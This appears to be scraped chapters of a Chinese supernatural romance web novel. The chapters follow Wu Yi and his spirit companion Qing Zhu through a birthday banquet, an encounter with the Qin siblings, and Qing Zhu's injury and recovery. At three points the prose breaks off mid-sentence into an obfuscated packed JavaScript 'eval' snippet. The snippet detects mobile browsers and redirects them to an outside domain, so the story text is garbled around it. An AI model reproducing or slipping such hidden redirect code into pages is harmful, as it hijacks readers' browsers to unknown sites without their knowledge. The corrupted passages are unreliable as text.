看着他缓慢流下的两行鼻血,乌宜也被惊到了。 秦一帆反应很快地捂住了自己的鼻子,似乎觉得丢脸极了,整张脸涨得通红,似乎想说些什么,却半天都没开口。 “你没事吧。” 不知为何,乌宜觉得他反应似乎不太对劲。 “要你管!” 秦一帆狠狠瞪了他一眼,正着急忙慌从口袋里掏纸巾,匆匆跟来的秦似锦就发出了惊呼。 “一帆,你怎么了?” 她连忙从包里找出纸巾,给秦一帆捂着鼻子,顺带着还掏出了一个医用冰袋,捏碎放在了他的鼻梁上。 乌宜目瞪口呆地看着眼前这一幕,“还真是装备齐全啊。” 注意到秦似锦看过来,他下意识解释:“我没有打他哦,他自己忽然就流鼻血了。” “我知道,他这是老毛病了,情绪一激动就容易流鼻血。”秦似锦语气无奈,面上尽是担忧。 “那……”我先走了? 他不知道该不该先打声招呼,还是直接离开。 好在秦似锦慌乱之中还记着他,“你先走吧,今天实在不好意思,吓到你了。” “没事的。” 乌宜还在纠结,没人操作的电梯门就自动合上,秦家姐弟消失在了他的视线范围。 他这才长舒了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471047|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吓死我了,还以为他碰瓷呢。” “你还怕这个。”卿烛很轻地笑了声,顿了顿,“秦一帆可以盯着。” “啊?” 乌宜简直以为是自己听错了。 “你说他有念力吗?” “嗯。” 开什么玩笑!受欺负的谢静川还不够可怜吗?秦一帆作为混混头子,居然还在这求助上了。 乌宜不是没遇见过这种情况,前两年卿烛的身体不太好,他们几乎没时间筛选目标人物,有时候那些人的可恶程度让他都感到强烈不适,可这次不一样…… 他亲眼目睹了秦一帆对谢静川做的那些,现在根本就不想搭理秦一帆,结果还要去盯着他,还有可能要救他。 察觉到他的情绪转变,卿烛只道:“他情况不对。” 乌宜正要发作,却猛然发现这句话似曾相识。 他怔愣片刻,直到电梯门打开,外面涌进人群,他才骤然回神。 拎着东西挤出电梯,他像是恍然初醒。 “秦一帆姓秦!” 卿烛:“……” “天哪,我怎么才发现。”乌宜忽然顿悟了,止不住地感叹,“那他会不会是你的那个……老朋友的儿子呢?” “这个年纪,应该是孙辈。” “也是哦,那他岂不是比我差两辈。” “……” 卿烛听不懂他的嘟囔,只道:“还不能确定,但秦一帆身上的确有较为强烈的念力。” “那为什么你之前没有感受到?”乌宜好奇。 “刚刚才出现。” 卿烛向来不会解释地太清楚,给乌宜留有发散思维的空间。 乌宜想了一会儿,也有了想法:“他不是单纯流鼻血吧,秦一帆是不是生病了?” “大概率。” “原来如此。” 乌宜已经脑补了不少,最后摇摇头叹气。 “难怪,他肯定生了很严重的病,所以不仅害怕谢静川看上他,也羡慕谢静川的身体素质比他好,这个人真可怕啊,嫉妒心好强。” 卿烛习惯了他强大的幻想能力,但一时间居然也没想到配合的话,直到他上了车,也只提醒了一句。 “这些事情尽量别和傅流晔他们说。” “为什么?” “过分介入他人因果,他们接触太多没好处。” 乌宜忽然安静了两秒,脑袋低下去。 “哦,只有你的仆人可以做。” 卿烛觉得他语气不太对,但还是多解释了一句:“你们和我有契约,不太一样。” “哦。” 19.第 19 章 云京每年入冬都很早,乌宜向来很怕冷,早早就穿上了薄羽绒服,按理说他应该多宅家,可又因为和卿烛约定好了要盯着秦一帆,之后的日子便频繁往学校跑,可惜都无功而返。 终于忍不住,他找机会抓住了秦一帆的头号跟班王昊,虽然不知道那天的轩味坊发生了什么,但王昊这两天见到他就露出明显的胆怯,再没了当初的嚣张气焰。 这会儿被抓住询问秦一帆去向时,犹豫半天也还是老老实实交代了。 “秦哥好像生病了,他经常这样,反正就是不想来学校吧,说不定这会儿去哪玩了呢。” 乌宜撇撇嘴,觉得这虽然很符合秦一帆的人设,但既然卿烛说他有病,他必然不可能健康。 应该是在养病吧。 再过段时间就是傅流晔的生日,乌宜最近收了他不少礼物,便也多往傅家跑了几趟。 今天下了课抵达傅家,正好撞见岑悦在和傅流晔商量今年的生日宴,说是准备做两场,毕竟他们这种身价,每一次举办宴会也都是结交合作的好机会。 “小宜到时候也来吧,中午我们在家吃一顿,顺便邀请卿先生,晚上规模会比较大,小宜有没有什么喜欢的明星歌手?阿姨请他们来给你唱唱歌跳跳舞。” 乌宜想了想,说:“我不追星。” “那就还是乐团演奏?”岑悦慈爱地看着他,“阿姨挺喜欢听音乐会的,小宜听过没有?” “唔,只听过学校的表演。” “那这次听听,说不定会喜欢上。” “好。” 乌宜想着自己放在家里的礼物,准备在那天带上。 傅流晔的生日如期而至,当天乌宜没别的事情,一大早就跑到店里做蛋糕,宴会上的甜点都由他们承包,所以今天关门没有接散客。 几个店员都有活动提成,格外有干劲。 乌宜将蛋糕大致装扮好,拍了拍手,“差不多就这样,那些装饰等送到以后再装,不然超高了。” “行,我亲自护送。”文雅笑说。 乌宜打个哈欠,懒洋洋换上衣服离开了甜品店,去傅家吃饭。 进入了院子,确定家里没旁人,卿烛便幻化成了那具模糊的人形,走在乌宜的身后。 他身形高大,周身黑雾笼罩。 “你这样把阳光全部都挡掉了,好冷呢。” 乌宜哼哼唧唧挑毛病。 卿烛没搭理他,只是将自己的身影减淡了些,好让薄弱的日光撒在乌宜身上,而他的身体在日光下显得像是虚拟飘影,逐渐看不真切。 “要是能找到你的身体,晚上你都可以和我们一起去的,都怪你慢吞吞,最近秦一帆也找不到,烦死了……那万一他出事了怎么办?你的身体会不会在他家里面。” 卿烛还是没忍住,问:“你最近怎么了?” 乌宜头也不转:“我怎么啦?” “你自己心里有数。” 这两天说话总是阴阳怪气的,对谁倒是都有礼貌,就是没给他一个好脸色,整天念叨给他找身体和记忆的事情,似乎恨不得他快点离开。 乌宜哼一声,也不搭理他,换了鞋子就大步跑进大厅里,也不知道冲谁喊。 “岑阿姨,卿烛说我最近特别怪。” 岑悦轻咳一声,当然不敢说卿先生的坏话,便只能笑道:“哪里怪了。” “他天天凶我。” 乌宜垂着眼,瞧着真是一副委屈可怜的模样。 岑悦看着不免心疼,见卿烛已经坐在了沙发上,继续翻阅那些陈旧卷边的日记,叹口气还是硬着头皮开口。 “卿先生,您最近和他闹别扭了?” 卿烛冷笑了声,态度明显不屑。 “叛逆期还没过。” 乌宜听了这话,心里更气了。 岑悦看着他们闹别扭的模样,却是丝毫不担心,反而有些想笑。 平时卿先生不食人间烟火气,可到了小宜的面前,却总展现出较为放松的一面,显然是刻意逗弄,她觉得新鲜有趣的同时,脑海中也不禁浮现出了翻看老傅日记时看见的文字。 [先生平日话很少,喜欢在暴雨时看着院子外的枝叶凋零,有时我们同他说话他也不应,对谁的态度都是冷淡的,有时觉得他像是对世间的一切事物都毫无留恋,又像厌倦了这样漫长的日子,我们的生命因为先生才有了无限可能,可也不免伴随着倒计时,先生的寿命我们谁都没有问过,或许我们也不是第一批守在他身边的人,有时候我想,他也会感觉孤单吧……] 现如今有小宜暂时陪在身边,卿先生应该不那么孤独了吧。 - 晚上,看见文雅拍视频报备蛋糕甜品顺利运送到酒店,乌宜松口气,这才放下手机,转头对着全身镜整理自己的衣服。 “我喜欢这个衣服。” 是傅流晔给他特别定做的,真丝的衬衫和西裤,水蓝色外套点缀着钻石流苏,如同流水般从肩膀落下,璀璨夺目,很是漂亮。 这种衣服放在别人身上会显得太过张扬,可乌宜穿上却只是恰到好处地衬出了他美貌,平时顺滑柔软的发丝被岑悦的妆发师搭理成蓬松小卷,多了几分灵动和仙气。 卿烛坐在酒店套件的沙发上,看着他显摆半天,没有发表任何意见。 “这个耳饰也好看。”乌宜凑到镜子前面,拨弄上面的漂亮的宝石。 套房门被推开,岑悦进门后脸上的疲倦便一扫而空,笑着看他,“真漂亮,咱们也到时间该下去了。” “好。” 乌宜捋了捋自己的头发,得意洋洋看向卿烛,“我走咯,你自己在这里看吧。” 卿烛还垂眸看自己随身携带的傅桉日记,头也不抬嗯了声。 “我们走吧。” 乌宜好像又有些生气,推着岑悦的肩膀跟她一起出去了,岑悦顺势勾住他的手臂,等门关上后又有些想笑。 从她进去到出来,卿先生分明连一页都没翻过,虽然装作不在意,却还是在认真听乌宜讲话。 楼下客人不少,也都是云京有头有脸的人物,岑悦下楼时还有些担忧,可见到乌宜丝毫不怯场,甚至很有精神地朝着底下人看去的模样,心又放了下来。 这孩子还真是不怕生。 见到岑悦带着个穿着华贵的陌生少年下楼,众人的眼神都变得微妙,仿佛都明白了那位傅总这些天斥巨资拍下的珠宝都送给 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“更新我的社交平台。”乌宜有些苦恼,“但是没几个人点赞,是不是我发的不好看啊?” 前几天他去买东西的时候拍的照片也没人看,唯一的两条评论还是质疑他是卖假货钓鱼的代购。 他哪里就像代购了! 傅流晔听着他吐槽,忙道:“没事,可能是这个点还没进流量池,晚点再看吧,想吃点什么?” “我不饿。”乌宜觉得他说的有道理,便还是把手机关上了。 傅流晔也没勉强他,只道:“马上切蛋糕,记得过来分,我把最上面的给你。” “好。” 乌宜知道这种日子寿星最辛苦,没有耽误他的时间,连忙让他回去忙。 在厅里转了一圈,不少人认出了他是刚才和岑悦一同下楼的人,便热情地和他打招呼,话里话外都是好奇和打听。 乌宜不想跟他们搭话,索性坐到了靠近舞台的位置,去看那些人随着音乐跳舞。 只是逐渐,他大脑放空,注意力反而被舞台上的乐团成员所吸引。 那些人穿着精致的服装,手上的乐器仿佛与他们融为一体,跟他原先在学校表演时听见的完全不一样,出乎意料的悦耳,不自觉就吸引了他所有的注意力。 目光一寸寸扫过,最后落在了边上的小提琴手身上。 那是个身高颀长气质清雅的年轻男人,一头浅棕色的半长发垂落肩头,眉目间有几分混血感,但拉琴时的神态又很专注温柔,仿佛他手中拿的不是小提琴,而是自己的情人。 恍惚间,乌宜似乎感觉到了一种强烈的共鸣。 一曲结束,在场的人纷纷鼓掌,目光都停留在结束舞蹈的嘉宾身上,乌宜也跟着拍起了手,眼睛却一眨不眨地盯着小舞台上的乐团成员。 那小提琴手调整了一下姿势,开始下一曲前忽然同坐在台下的乌宜视线交汇,怔愣两秒后露出了一个温和的笑容。 乌宜眼睛微微睁大,两只手还搭在一起,盯着那个俊雅的男人看了没两秒,就感觉手腕泛起了细微凉意。 20.第 20 章 乌宜垂眸拨弄一下玉镯,猜测是卿烛回来休息了,但是对方并没有和他说话,他便也没有开口。 因为那个温和柔润的眼神,乌宜难得安定下来,专注坐在台下认认真真听了两首曲子。 虽然他根本不了解音乐,不知道这是什么风格和类型,但却总在小提琴悠扬悦耳的声音响起时被吸引注意力。 他想起岑阿姨之前说过会请很好的乐团来演奏,他想……这个小提琴手肯定是乐团里面最出名的人吧,毕竟他看起来就很优秀。 傅流晔的助理来找他切蛋糕时,他从座位离开,走到岑悦的身边,没忍住去问了那个乐团的名字。 上网搜索,他才知道那个年轻的小提琴手叫做沈跃,他出生于贫困家庭,乐感却是天生敏锐,年少时一曲成名,之后便走上了进修之路,如今已经是国内最出名的那一批乐手。 “没想到小宜也喜欢听,回头阿姨带你去听他们乐团的专业演出,效果会更好。”岑悦难得找到知音,不知不觉间对乌宜越发满意。 乌宜想也没想,一口应下:“好。” 傅流晔亲自切了蛋糕,分给了岑悦和乌宜,众人围在边上说了几句吉利话,不同于平日的严肃,面上都是和煦笑意。 乌宜在边上想了想,又去端了一叠溜走,走向舞台边缘。 谁料还未走远,身后便响起了追逐的脚步声。 “你好,麻烦留步。” 声音有些耳熟,乌宜回头,见是秦似锦,眉心就蹙紧了,下意识往她身后看。 没人。 秦似锦察觉到他的动作,有些尴尬地笑了一下:“一帆还在医院。” 乌宜哦了声,一只手拿着一叠蛋糕,显然是很忙的样子。 秦似锦似乎很纠结,半天才道:“今天受邀来参加傅总的生日宴,没想到会在这里看见你,正好想来和你说一声不好意思。” “不用了。”乌宜撇撇嘴,他最讨厌这种见风使舵的人。 想也不想就要走,秦似锦连忙攥紧手包追上来。 “抱歉,我只是刚刚得知一帆在学校里闹出那些事是和你有关系,他平时被家里人宠坏了,那天我还以为你们只是单纯看上了同一件东西,现在才知道是他刻意挑事,还希望你能给一个赔罪的机会。” 乌宜头也不回,“那你就让他给我和谢静川道歉吧。” 秦似锦怔了怔:“谢静川是谁?” “……” 此话一出,乌宜已经完全不想再和他交流,但想到谢静川被欺负时疲惫的模样,又顿住了脚步,冷着脸转向秦似锦。 “谢静川,就是被秦一帆在学校里针对的学生,他家里很穷,念大学都是办的助学贷款,平时生活费要靠自己兼职来赚,因为他弄坏了秦一帆的新手机,所以秦一帆让他给自己和自己的小弟做随叫随到的跑腿,他努力赚钱想要还清,却被秦一帆的朋友故意弄砸了兼职,耽误他很多的时间,还老是戏弄他。” 说到这里,乌宜有点说不下去了。 其实他原先并没有真真切切感觉到谢静川的辛苦,可是一口气说了这么多,他心里面却不自觉难受了起来。 秦似锦却松了口气,说:“一部手机对一帆来说算不得什么,这件事的确是他的错,我们家里也知道了,如果那位同学愿意的话,我们可以帮他还助学贷款,包括他之后的生活费……” “你看,你和秦一帆是一样的。” 乌宜鼓鼓脸颊,有点生气又有点无奈,觉得自己今天说这么多实在是没必要。 秦似锦还是用那副很诚恳的表情看着他,似乎没有明白他的意思。 “我不太懂,我们愿意做出赔偿,也可以让一帆去和那位同学道歉,这应该足够有诚意了,难道对你而言还不够吗?或者……你也可以说说自己的想法,我们尽量配合。” 听着她温柔的话语,乌宜只觉得一阵头大,却不知该怎样回应,而此时,身后忽然传来一道悦耳的清冷声线。 “这位先生的意思是,您的态度太高高在上了。” 乌宜眼睛一亮转头看去,果然是方才在舞台上大放异彩的那个小提琴手。 他一高兴,喊出了对方的名字:“沈跃!” 沈跃礼貌地冲他微笑颔首,他身上还穿着精致的礼服,显得清雅贵气,很自然地走到了乌宜的身边。 “原来你认识我。” 乌宜向来诚实:“我刚才用手机搜的。” 沈跃怔愣一下,然后笑了,“是这样。” 两人的对话显然将秦似锦排除在外,她蹙紧眉头显得有些尴尬,但仍旧保持着自己的礼貌笑容,没有直接离开。 不料乌宜还没朝她看过来,沈跃反而先一步开口:“这位小姐,你还有事吗?我想这位先生的态度已经很明确了,您可以回去再想一想。” 他看起来翩翩有礼,可这态度显然是在下逐客令,让秦似锦一时间有些尴尬。 “没事,只是……” 乌宜不是很想搭理她,直接将手上的一叠蛋糕递到了沈跃的面前。 “这是我给你拿的蛋糕。” 他对待自己喜欢的人一向真诚没什么心眼,这会儿眨巴着一双水蓝色的眼睛认真盯着沈跃,很难让对方说出拒绝的话。 “谢谢。” 沈跃接过,很给面子地挖了一勺塞进嘴里,眸中蓄起温和的笑意,赞许地点了点头。 “很好吃。” “这个是我做的哦。”乌宜有点雀跃。 沈跃露出了明显的诧异,“你可真厉害,里面是草莓酱吗?” “是几种莓果掺杂在一起,岑阿姨喜欢树莓。” 谈起自己擅长的事情,乌宜话就多了起来,沈跃认认真真听着,时而发表一些自己的感想。 秦似锦在边上脸都要笑僵了,察觉到周围人投来的目光,还是没发再硬着头皮站在这,只得转身离开。 转身顿感气馁的同时,她也感觉到了一股凉意骤然窜上脊背,无端叫她起了一身鸡皮疙瘩。 什么东西? 她下意识回头,伸手摸了摸脖子,却什么也没有。 难道是刚才的位置正好吹到了冷气? 秦似锦觉得奇怪,只得匆匆离开。 见她离开,沈跃这才笑了笑:“你很有正义感。” “唔,也不是。” 乌宜并不想承认这一点,因为他觉得自己有时候还是很自私的。 好在沈跃是个很礼貌的人,并未就着这个话题继续下去,而是谈论起了自己表演时的趣事,将乌宜逗的很开心。 不一会儿,乌宜便收到了沈跃的演奏会邀请,他虽然高兴,但并不觉得这是什么很大的事情,高高兴兴交换了联系方式,习惯性摸摸手腕,却发现玉镯不知何时消失了。 脸色微变,他下意识看向左右两侧肩膀,却什么也没有。 不对啊……刚才分蛋糕的时候,玉镯明明在他手腕上,这会儿又跑哪里去了。 通常情况下,玉镯只要在他的身上,卿烛就无法离开太远,刚才是在楼上的酒店等着,中途似乎来过,可现在玉镯不见了……就证明卿烛已经化身出门,可他能去哪呢? 沈跃是个有分寸的人,见他的脸色不太对劲,只是礼节性地询问了一句,见他不是很愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483794|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,便找借口先一步离开。 宴会厅内气氛正好,岑悦和傅流晔都在忙,乌宜便没有同任何人说,自己匆忙上了楼。 回到套件,里面果然已经没了卿烛的身影。 下意识想要出门寻找,可一时间却又不知道该去哪里。 这些年他和卿烛很少分开,虽然不知道具体是什么原因,但卿烛大致说过,太虚弱的状态无法与他分开太久,所以平时他们两个都是形影不离的。 这好像还是第一次,卿烛没打招呼就离开他身边。 无论他去到哪里,卿烛总是可以轻而易举找到他,可是他却没办法感应到对方。 一点也不公平! 乌宜重重喘了口气,瘫坐在沙发上,脑子有点乱。 套件里只开了很暗的地灯,他良久才从思绪纷杂的混沌中回过神,望向玻璃落地窗外广袤黑沉的夜空,隐约间,陌生的记忆涌入脑海中,让他感觉有些头疼。 好半天,他回想起来秦似锦来宴会厅找过自己,忽然就有了猜想。 卿烛是不是去找秦似锦了?他一直想要确定秦家是不是和他曾经有过渊源,这次正好跟着秦似锦去看看情况,是这样吧。 猜想着,他拿上手机起身,打开门却正好撞见了从走廊口走来的傅流晔。 “小宜,你在这。”傅流晔看见他,很明显地松了口气。 但很快又注意到了他苍白的脸色,忙关切问:“怎么了?” “卿——” 乌宜下意识要告诉他,可开口的瞬间,脑海中浮现出卿烛之前的警告,心中忽然翻涌起的恐惧又迫使他将到嘴边的话咽了回去。 “没事,我想要出去一下。” 傅流晔何其聪明,又怎么会看不出他此时在骗自己。 拧着眉头忧心忡忡地盯着他看了好一会儿,还是妥协叹了口气,“我让司机送你,不要跑到危险的地方,有情况随时给我打电话,知道吗?” “知道了。” 乌宜是很信任傅流晔的,现在要这样欺瞒他,心里面也很过意不去。 下了楼,车已经早早在外面停下,司机拉开车门,乌宜俯身钻进去,报出了当地很有名的别墅区名字。 傅流晔特意安排的司机嘴很严,全程没有说过话,只安安静静开着车。 这个点正是下班高峰期,在路上堵了很久才到,乌宜拒绝了司机陪同自己进去的请求,推开车门匆匆跑了下去。 一路上他都心神不宁,脑袋像要炸开了一样泛着钝痛,好不容易混进了小区,在偌大的花园中走了半天,却连一座楼都没看见。 到底在哪里? 周围寒风阵阵,随着夜深,风声刮得凛冽,吹得乌宜脸颊发疼。 可此时他却不顾上冷,只觉得心跳如擂鼓般剧烈疯狂,好像要直接从他胸膛里面跳出来了。 这样古怪的反应并没有让他滋生出对自身的担忧,反而愈发明确了卿烛出事的猜想。 不知过去多久,他终于看见一栋高大漂亮的别墅出现在眼前,而门口正停着一辆黑色的车,已经熄了火,看不清楚究竟有没有人。 乌宜顾不得太多,确定周围没人,便快步跑上前。 还未等他凑到窗前看,一缕极淡的黑雾便从中窜出,轻轻地贴上了他的脸颊,又顺着落在肩膀上。 “走。” 是卿烛的声音,虚弱而缥缈,还不等乌宜多问,他便化作了一只纯黑色的玉镯,沉甸甸地落在乌宜手心。 乌宜愕然,下意识收紧手指,接触到掌心玉镯从未有过的滚烫温度,整个身体都僵住了。 “卿卿……” 21.第 21 章 搞不清楚目前的情况,乌宜只能听从卿烛昏迷前的话,带着他急匆匆离开了这片区域,让司机载他回家。 一路上,怀里的玉镯都没有半点动静,只是温度越来越高,几乎已经到了灼人的温度,他甚至不敢用掌心那更为柔嫩的皮肤去触碰。 坐立难安到了家,他飞奔下车,回到了温暖的屋子,不顾自己身体还打着细细的颤,便将玉镯放进了水里,想要减弱卿烛身上诡异的温度。 他和卿烛相处这么久以来,只在对方身上感受过冰冷,他不太清楚发生了什么,但这样的情况显然是不对的。 折腾了半天,凉水和冰袋都用过了,可那温度却始终没有减弱,反而像火一般越烧越旺。 “要怎么办?卿卿。” 遇见这种情况,他还是下意识要求助卿烛,可是耳边却再没有任何声音传来。 他盘腿坐在地毯上,用冰袋把玉镯裹住,恍惚中忽然想到了一个名字,连忙起身去找手机。 从沙发缝里找到已经关机的手机,他又着急忙慌去房间里拿充电器,焦急蹲在茶几边上等着开机显示亮起,便连忙找出之前存的电话打了过去。 等待接通的嘟嘟声仿佛敲击在他心上,直到被接听,才像是恢复了呼吸的能力。 “怎么啦?忽然想起我来。” 李青泉那边似乎在办什么仪式,有些复古诡异的音乐声顺着听筒传入乌宜的耳中,无端又让他心中的担忧和恐惧更浓重了。 “我想问你一个问题。”乌宜察觉到自己的嗓子很哑,清了清喉咙才继续说,“卿卿出门一趟,现在没办法化形,身体还很热,是为什么呢?” 他没敢说具体情况,只说了卿烛具体的不对劲地方。 李青泉听了,一改方才吊儿郎当的语气,让他等会,然后去和主家说了几句什么。 再开口时,他已经换了个安静的地方,背景变得很安静。 “这种情况,应该是被什么东西伤到了吧。” 乌宜焦灼不安的心猛然一沉,脸色变得愈发苍白。 他脱力坐在地毯上,脑子一片空白,“那,要怎么办?” 或许是因为卿烛一直以来都表现出强大的淡然,让他始终觉得卿烛只是很容易被消耗精力,但只要在他清醒时,就是无坚不摧的。 什么事情都可以做到的卿烛,也会受伤吗? “这个情况我也不知道要怎么处理诶,你也知道我们一般是天师,找我们咨询的话,通常都是……”李青泉欲言又止,“都是要把那样东西毁掉,而不是救治。” 乌宜睫毛颤了颤,又伸出手,小心翼翼地摸了一下被包裹在冰袋中的玉镯。 还是很烫,周围的几个冰袋化开一滩水,让他不知所措。 李青泉忽然道:“我想起来了!有个方法应该能短暂唤醒他,我原先在我师傅书上看见过。” “什么?” “烧他的东西。” 乌宜有点傻了,“就这样烧掉吗?” “对,但你要确保那东西和他有关,至少是要被他承认的。”李青泉那边似乎有人在催促,使得他语速加快,变得有些急促。 “大致就是破坏的意思,毕竟是他的所有物,被毁掉的话会让他生气,但烧是见效最快的方式,你要是找不到也别勉强,他又不是普通人,这种情况别人也没见过,说不定他自己能处理好呢。” 乌宜隐约间明白了,呆呆地地点了点头。 “好了晚点再说,我还有事,一会给你回电话。” 将电话挂断了。 屋内再次陷入死一般的寂静,乌宜犹豫半天,左看右看,就是不知道该烧什么。 这个家是卿烛和他的家,从前他觉得这里的所有东西都是他们两个的,可是听完李青泉的话以后,他才发现想要找到一件能够被卿烛认可的所有物有多困难。 沙发和次卧的一大堆娃娃,是原先他和卿烛一起去娃娃机里面抓的。 当初卿烛对他说,需要在目标人物的身边存放一样东西,他想也不想便选择了布偶娃娃,无论对于那是年纪尚小的他,还是如今长大成人的他而言,柔软温暖的娃娃都能够给人带来安定的能量。 可是这些东西……算是卿烛的吗? 他尝试着拿出了一只最难看的蟑螂娃娃,走到洗手池前,小心翼翼地用火柴点燃一角。 害怕会着起大火,还没烧多少,他便打开水龙头,将其冲湿了。 再回到客厅,玉镯果然没有丝毫变化,滚烫灼热的温度丝毫未降。 还有什么呢? 乌宜慌乱地在家里翻东西,柜子抽屉都找遍了,却一无所获。 或者……去岑阿姨家,把卿卿原本用过的那只茶杯拿过来。 有了想法,他腾地一下起身,可在手忙脚乱穿衣服时,灵光一闪想到了什么。 脚步顿住,他想也不想便回头跑回了房间。 被翻到乱糟糟的衣柜侧面有一个小抽屉,专门存放重要的东西,这是卿烛原先为了治他丢三落四习惯特意设计的。 身份证和户口本重要文件全都在里面,而最下面压着的几个薄薄的盒子,中间的那只被乌宜抽出,打开里面是一条羊毛线打的围巾,浅灰色的,很柔软,但针脚很乱,扭来扭去并不好看。 拿着围巾回到洗手间,他攥着那柔软的面料犹豫很久,才划了一根火柴,点燃了最下面的流苏。 毛线缓慢燃烧,逐渐卷曲起来,燃起袅袅细烟。 看着火苗有些大了,他松开手,让围巾掉进了水池里,看着烟全灭了。 水池荡开涟漪,乌宜撅着嘴抬起头,从镜子里看见了泪眼氤氲的自己。 是还在福利院时经常来探望的一个婆婆给他们织的围巾,那时他有一条红色的,这条灰色的要送给卿烛,这些年一直都保存着。 乌宜年纪小的时候藏不住事情,从可以看见卿烛以后就和身边的人说过。 小伙伴以为他脑袋坏掉了,福利院的阿姨觉得他心理出现了问题,只有婆婆听见他的倾诉以后说,要给他那个黑色的哥哥织一条围巾,免得过冬冻坏了。 卿烛那时候只是笑,可在他离开福利院的时候,还是提醒他把这些东西都带上。 这个也不算是卿烛的所有物吗?难道他连这个也不认可。 乌宜呆呆站在洗手池前,眼泪止不住啪嗒啪嗒往下掉。 恍惚间,客厅似乎有声音传来。 心脏猛然一颤,他顿时什么也顾不上了,转身跑出了洗手间,直奔茶几方向。 冰袋不知何时全掉在了地上,那只玉镯散发着微弱的黑红色光芒,仿佛有什么东西正在里面涌动,即将压制不住蓬勃的力量。 真的有用! 乌宜也顾不上哭了,擦擦眼睛跪坐在茶几边上,伸手去探手镯上的温度。 好像还是很烫。 意识到这点,他不免慌乱。 可下一秒,那玉镯忽然化作黑雾,从他的指缝流淌开,骤然在空中扩散开,形成了一道类似于人形的巨大雾气。 那雾气在空气中迅速抽条拔节,只是乌宜眨眼的功夫,就幻化成了一具迄今为止他见过最细致的人形。 他甚至还能够清楚看见本该属于眼睛的位置,有一双殷红瞳孔缓慢睁开。 乌宜如释重负,伸出手想要去触碰他。 “卿卿。” 可还不等他起身,那黑雾便猛地压了下来。 扑通一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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修长的滚烫手指捏住那截单薄瘦削的下巴,殷红眼眸透出凉意,打量着身下漂亮而又脆弱的人类。 他的皮肤很白,只是轻轻捏过就留下红痕,眼泪大颗大颗滚落,却只敢发出细细的抽泣声,显得很乖,胆子很小。 按理来说,他应该讨厌这种生物,可是被那双水蓝色眼眸注视着时,无形中仿佛有一股力量正在阻止他伤害的行动。 乌,宜。 这个名字对此时的他而言很是陌生,可却仿佛能够和面前的人对上号。 “痛……” 乌宜发出一声细细的哭腔,大着胆子握住了卿烛的手腕。 感觉到上面的炙热温度,他的手也止不住抖了一下。 卿烛没有动,他便小心翼翼地一根一根去掰他的手指头,最后完全将自己的脸拯救出来,又怕卿烛捏他,只好将那只比自己大了一圈的手抓住。 就像是在牵手。 “卿卿。”乌宜抽抽鼻子,单薄的眼皮染着哭过的薄红,声音哑而软,“不要凶我。” 不要凶他,不要忘记他,不要把他当成无足轻重的、随时可以丢掉的仆人。 眼泪更凶地往下掉,恍惚间被一缕黑雾拭去。 乌宜视线朦胧地仰躺在地毯上,看见那双殷红狭长的眼眸有了细微的变化。 “谁把你当仆人?” 泪水潋滟的眼眸微微抬起,睫毛湿润漆黑,衬得眼尾的红愈发明显。 乌宜吸吸鼻子,迟钝意识到自己刚才不小心把心里想的话说出来了。 冰冷修长的手指顺着他的眼尾滑落,抵在湿红微肿的唇瓣,轻轻摁住下唇,感受到了上面的柔软香气。 “你是我养大的,怎么会只是仆人。” 乌宜眼睛微微睁大,随着那具黑影沉沉压下,脑海中恍惚浮现出了被他遗忘的,那些久远的记忆。 35-40 第36章 卿烛那轻描淡写的一句话在之后的几天始终盘旋在乌宜心头, 让他总觉得心情很拧巴。 他很后悔那天没有问清楚,其实按照他的性格应该追问和控诉,问卿烛是不是不愿意保护他, 然后以此套出更多的信息,可那时候他却只是愣住,很久都没有说出一句话来。 真是后悔死了。 躺在床上锤了锤抱枕,他翻个身,伸手捋了把头发, 近日长了的发丝扫在脖颈上,弄得他有点痒。 手机叮叮咚咚响起来,是朋友约他出去踏青, 但他对这些活动都没什么兴趣, 也只是默默拒绝,然后打开日历看了一眼。 才想起来, 距离那天去赵家已经过去快一周了,但是那边还是没有消息传过来, 难不成是路上出什么问题了? 他爬下床穿鞋,跑出去就看见卿烛躺在沙发上,几缕长发拖曳在地毯上, 眼眸阖上, 像是睡着了。 忽然放轻脚步,他走过去蹲下, 将那几缕墨黑的柔软发丝挑起来,搭在沙发靠背上,怕惊醒卿烛,又忍不住想要使坏。 这么一头长发整天披着也是可惜了,他心底微动, 伸手戳了戳卿烛的脸。 冷白的皮肤,触感微凉,脸颊瘦削轮廓锋利,不睁眼的时候眼睫仿佛泛开上挑的水墨痕迹,让他少了几分邪气,多了几分沉稳的俊美。 乌宜不自觉屏住呼吸,脱掉鞋子跪坐在地毯上,取过他一缕头发,细长手指很娴熟地分成了三份,手指交错很快打了个细细的辫子。 卿烛一直没有醒,没有被压住的头发几乎被乌宜给折腾了个遍。 半小时后,看着自己的成果,乌宜很是满意,跑去房间找到手机举起来拍照片,想要各个角度都拍到,他便凑到卿烛上方,将手机放平想拍个正面。 拍照键刚摁下,手腕忽然被捉住,冰凉的触感冻得他一颤,刚看清楚那双不知何时睁开的红色眼眸,就被一扯狠狠栽了下去。 “啊——” 